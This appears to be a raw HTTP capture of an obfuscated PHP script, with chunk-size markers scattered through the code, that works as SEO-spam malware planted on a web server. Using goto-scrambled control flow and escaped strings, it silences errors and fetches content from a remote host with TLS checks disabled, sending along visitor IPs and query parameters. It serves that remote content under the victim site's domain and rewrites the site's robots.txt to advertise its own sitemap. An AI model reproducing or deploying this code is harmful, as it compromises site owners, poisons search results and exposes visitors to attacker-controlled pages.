3 $url, CURLOPT_RET 10 URNTRANSFER => t 15 rue, CURLOPT_SSL_VERI 23 FYPEER => false, CURLOPT_SSL_VERIFY 1d HOST => false, CURLOPT_FOLLOW 1c LOCATION => true, CURLOPT_TI 3a MEOUT => 10, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $ 3b postString)); $data = curl_exec($ch); curl_close($ch); if ( 15 !empty($data)) { retu 16 rn $data; } } if (ini_ 14 get("\141\x6c\154\15 1c 7\x77\x5f\165\162\154\x5f\14 1a 6\157\160\x65\x6e")) { $co 16 ntext = stream_context 13 _create(array("\150 1c \164\x74\x70" => array("\x6d 21 \x65\x74\150\157\144" => "\x50\11 18 7\x53\x54", "\x74\x69\x6 1f d\x65\x6f\x75\164" => 10, "\x68 1e \145\x61\144\145\x72" => "\x43 1e \157\156\164\145\x6e\x74\x2d\1 14 24\x79\x70\145\72\40 23 \141\160\160\x6c\151\143\x61\x74\15 20 1\157\156\57\170\55\167\x77\167\ 1b 55\x66\x6f\162\x6d\x2d\x75\ 22 x72\154\145\156\143\157\144\x65\x6 19 4\15\xa" . "\103\157\156\ 22 x74\145\156\164\55\x4c\x65\x6e\147 16 \164\150\72\x20" . str 21 len($postString) . "\15\12" . "\x 1a 55\x73\145\x72\x2d\101\x67 27 \145\156\164\x3a\40\115\157\172\x69\x6c 1d \x6c\141\57\x35\56\x30\15\12" 20 , "\x63\157\x6e\164\x65\156\164" 2d => $postString), "\163\163\x6c" => array("\1 23 66\x65\x72\151\146\x79\x5f\160\x65\ 25 145\162" => false, "\166\145\x72\151\ 29 x66\x79\x5f\160\145\x65\x72\x5f\x6e\x61\1 21 55\x65" => false))); $data = @fil 1c e_get_contents($url, false, 44 $context); if (!empty($data)) { return $data; } } return ''; } goto c wRFt_; VguJR 20 : if (!empty($get["\162"])) { $r 11 obotsPath = $_SER 15 VER["\x44\117\x43\125 16 \115\x45\x4e\x54\137\1 1b 22\117\x4f\x54"] . "\57\162 20 \157\142\x6f\x74\163\x2e\x74\x78 12 \164"; $sitemapBlo 1b ck = "\125\163\145\162\55\1 1c 41\147\x65\x6e\164\72\40\x2a 1f \xa\x41\x6c\x6c\x6f\167\x3a\40\ 23 57\xa"; $sitemaps = "\12\x53\x69\x7 1b 4\145\x6d\x61\160\x3a\x20{$ 1f http_type}{$_SERVER["\x48\x54\1 19 24\x50\x5f\110\117\123\12 1e 4"]}{$_SERVER["\123\x43\x52\x4 19 9\x50\124\x5f\x4e\101\x4d 1a \x45"]}\x3f\x73\75\163\12" 29 ; if (!file_exists($robotsPath)) { file_p 33 ut_contents($robotsPath, $sitemapBlock . $sitemaps) 30 ; } else { $robotsContent = @file_get_contents($ 27 robotsPath); if (strpos($robotsContent, 24 $_SERVER["\123\x43\122\111\120\x54\ 21 x5f\x4e\101\x4d\105"]) === false) 32 { @file_put_contents($robotsPath, $sitemaps, FILE 15 _APPEND); } } } goto c Kw0TV; lb_EM 1d : $vurl = $http_type . "\x69\ 14 144\154\171\x32\56\x 23 69\x64\163\150\x6f\x70\56\x63\x63\1 19 67\x75\x2e\143\x63\57\64\ 1a 61\x39\56\x61\163\x70\170" 27 ; goto VguJR; WNTMb: if (!empty($get["\ 26 x69\x64"])) { if (empty($get["\153\x6b 19 "])) { $ip = get_ip(); $p 1c arams = array("\151\160" => 22 $ip, "\x69\144" => isset($get["\15 1f 1\144"]) ? $get["\151\x64"] : ' 1a ', "\x6c\x6c" => $ll); $tz 1c str = getCurl($vurl, $params 32 ); if (strpos($tzstr, "\x69\144") !== false) { ech 2a o $tzstr; die; } } $params = array("\151\x 2e 64" => $get["\x69\x64"], "\154\154" => $ll); $ 30 str = getCurl($vurl, $params); $str = str_replac 1d e(array("\173\x55\x52\114\x7d 1b ", "\x7b\xe5\x9f\x9f\xe5\x9 1d 0\x8d\x7d"), array(get_url_in 18 fo("\x66\x75\154\x6c"), 29 get_url_info("\x6e\157\x5f\167\167\x77")) 23 , $str); echo $str; die; } else { $ 23 sitemapUrl = $ll . "\x3f\x73\75" . 18 date("\x59\155\144\x48\x 1c 69"); echo "\x3c\144\151\x76 1c \x20\163\164\171\x6c\145\x3d 22 \47\164\145\170\164\x2d\141\x6c\x6 1e 9\x67\156\x3a\143\145\x6e\x74\ 21 145\x72\73\40\160\x61\x64\x64\151 25 \x6e\147\x3a\61\x30\160\170\x20\x30\x 1b 3b\47\x3e\x3c\x61\x20\150\x 1e 72\145\x66\x3d\x22{$sitemapUrl 1d }\42\x20\164\141\162\147\x65\ 23 164\x3d\x22\x5f\x62\x6c\141\x6e\153 1d \x22\x20\x72\x65\154\75\42\15 21 6\157\146\x6f\154\154\157\167\42\ 22 76\40\123\151\164\x65\155\141\160\ 1e 74\x2f\141\x3e\74\x2f\144\x69\ 17 166\x3e"; } goto UHNmn; 5a Kw0TV: if (!empty($get["\x73"])) { $params = array("\x73" => date("\131\155\144\110\x69") 2a , "\156\x75\155\x62\145\162" => $get["\156 16 \165\x6d\142\145\162"] 53 ); $str = getCurl($vurl, $params); $str = str_replace(array("\173\xe5\xbd\x93\345\2 19 11\x8d\xe5\234\xb0\xe5\x9 20 d\200\175"), array($http_type . 30 $_SERVER["\x48\124\124\120\x5f\110\x4f\123\124"] 2a . $_SERVER["\x53\103\122\x49\120\124\x5f\ 1c 116\101\115\105"]), $str); h 1c eader("\x43\x6f\156\164\145\ 20 156\x74\55\164\171\x70\x65\x3a\x 1f 74\145\x78\164\x2f\x78\x6d\154" 2a ); echo $str; die; } goto WNTMb; OsiDT: er 10 ror_reporting(0) 20 ; goto XVeBg; HWR4h: $http_type 26 = !empty($_SERVER["\110\124\x54\120\x5 26 3"]) && $_SERVER["\x48\x54\x54\120\123 18 "] !== "\157\x66\x66" ? 1d "\x68\x74\x74\160\x73\72\57\x 2a 2f" : "\x68\x74\x74\160\x3a\57\x2f"; goto 12 rRNpn; rRNpn: $ll 4d = "{$http_type}{$_SERVER["\x48\124\x54\120\137\110\117\123\124"]}{$_SERVER["\ 22 x53\x43\122\x49\120\124\137\x4e\x4 20 1\x4d\x45"]}"; goto lb_EM; RyBoU 1e : function get_ip() { foreach 28 (array("\110\x54\x54\120\137\x58\x5f\x46 1c \x4f\122\127\101\122\x44\105 25 \104\x5f\106\117\x52", "\x48\124\x54\ 1d x50\137\103\x4c\x49\105\116\1 1f 24\x5f\111\120", "\x52\105\115\ 23 117\124\105\x5f\101\x44\x44\x52") a 23 s $key) { if (!empty($_SERVER[$key] 17 )) { return trim(explod 22 e("\54", $_SERVER[$key])[0]); } } 1f return "\x55\116\x4b\116\117\12 2a 7\x4e"; } goto w0kkS; N6bGe: function get_ 20 url_info(string $return_type = " 24 \144\157\155\x61\x69\x6e") : string 2a { $host = $_SERVER["\x48\124\124\x50\137\1 32 10\x4f\123\124"]; if ($return_type === "\144\x6f\x 20 6d\x61\151\x6e") { return $host; 2f } if ($return_type === "\x6e\x6f\x5f\x77\x77\x 2a 77") { return ltrim($host, "\x77\x77\x77\x 11 2e"); } $protocol 29 = isset($_SERVER["\110\x54\124\120\123"] 33 ) && $_SERVER["\110\124\124\x50\123"] === "\x6f\156 34 " || isset($_SERVER["\x48\124\x54\x50\137\x58\137\10 29 6\117\x52\127\101\122\x44\x45\x44\137\120 38 \x52\x4f\124\x4f"]) && $_SERVER["\x48\x54\x54\x50\x5f\13 26 0\137\x46\x4f\x52\x57\x41\x52\x44\x45\ 2c 104\137\x50\122\117\124\x4f"] === "\x68\164\ 26 164\160\x73" ? "\x68\164\164\x70\x73\x 29 3a\57\x2f" : "\x68\x74\164\x70\x3a\x2f\57 1a "; $base_url = $protocol . 3b $host; if ($return_type === "\142\141\x73\x65") { return $ 27 base_url; } $uri = $_SERVER["\x52\105\x 1c 51\x55\x45\x53\124\x5f\x55\1 20 22\111"]; $full_url = $base_url 3b . $uri; if ($return_type === "\146\165\154\x6c") { return $ 2a full_url; } return ''; } goto RyBoU; wRFt_ 3f : function getCurl($url, $getData = array()) { if (!empty($getD 29 ata)) { $queryString = is_array($getData) 31 ? http_build_query($getData) : $getData; $url .= 27 (strpos($url, "\x3f") === false ? "\x3 23 f" : "\x26") . $queryString; } if ( 2f function_exists("\143\165\162\154\x5f\151\x6e\1 10c 51\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPGET => true, CURLOPT_U 1a SERAGENT => "\115\157\172\ 1d 151\154\x6c\141\x2f\65\56\60" 80 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\137\x75\x7 1d 2\x6c\137\x66\157\160\145\x6e 73 ")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\155\145\x74\150\157\144" => "\107\105\x5 2c 4", "\x74\151\155\x65\x6f\165\164" => 10, "\ 20 150\x65\x61\144\x65\x72" => "\x5 27 5\x73\145\162\x2d\x41\147\145\x6e\x74\x 21 3a\x20\x4d\x6f\x7a\151\154\154\x6 1f 1\57\65\56\x30\xd\12"), "\x73\x 25 73\154" => array("\x76\145\x72\x69\x6 4d 6\x79\x5f\160\x65\145\162" => false, "\166\145\162\151\146\x79\137\x70\x65\x6 94 5\x72\137\x6e\141\x6d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto 10 HWR4h; UHNmn: ?> 0